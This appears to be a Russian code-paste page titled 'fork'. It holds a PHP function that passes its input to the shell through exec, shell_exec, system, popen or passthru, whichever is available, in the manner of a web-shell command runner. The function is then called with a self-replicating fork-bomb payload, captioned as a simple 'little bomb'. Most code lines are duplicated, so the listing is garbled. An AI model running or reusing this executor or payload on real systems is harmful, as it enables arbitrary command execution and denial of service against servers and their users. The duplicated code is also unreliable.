Форк

  1. //Функция тестирования
  2. function TestFunc($in)
  3. function TestFunc($in)
  4. {
  5.  
  6.     $out = '';
  7.     $out = '';
  8.     if (function_exists('exec'))
  9.     if (function_exists('exec'))
  10.     {
  11.     {
  12.         @exec($in, $out);
  13.         @exec($in, $out);
  14.         $out = @join("\n", $out);
  15.         $out = @join("\n", $out);
  16.     }
  17.     }
  18.     elseif (function_exists('shell_exec'))
  19.     elseif (function_exists('shell_exec'))
  20.     {
  21.     {
  22.         $out = shell_exec($in);
  23.         $out = shell_exec($in);
  24.     }
  25.     }
  26.     elseif (function_exists('system'))
  27.     elseif (function_exists('system'))
  28.     {
  29.     {
  30.         ob_start();
  31.         ob_start();
  32.         @system($in);
  33.         @system($in);
  34.         $out = ob_get_clean();
  35.         $out = ob_get_clean();
  36.     }
  37.     }
  38.     elseif (is_resource($f = @popen($in, "r")))
  39.     elseif (is_resource($f = @popen($in, "r")))
  40.     {
  41.     {
  42.         $out = "";
  43.         $out = "";
  44.         while (!@feof($f))
  45.         while (!@feof($f))
  46.             $out .= fread($f, 1024);
  47.             $out .= fread($f, 1024);
  48.         pclose($f);
  49.         pclose($f);
  50.     }
  51.     }
  52.     elseif (function_exists('passthru'))
  53.     elseif (function_exists('passthru'))
  54.     {
  55.     {
  56.         ob_start();
  57.         ob_start();
  58.         @passthru($in);
  59.         @passthru($in);
  60.         $out = ob_get_clean();
  61.         $out = ob_get_clean();
  62.     }
  63.     }
  64.     return $out;
  65.     return $out;
  66. }
  67.  
  68.  
  69.  
  70. echo TestFunc("echo '. ./_&. ./_&'>_;. ./_"); //Выполнение форка
бомбочка
всё просто и понятно

Реклама

Мы в соцсетях

tw tg yt gt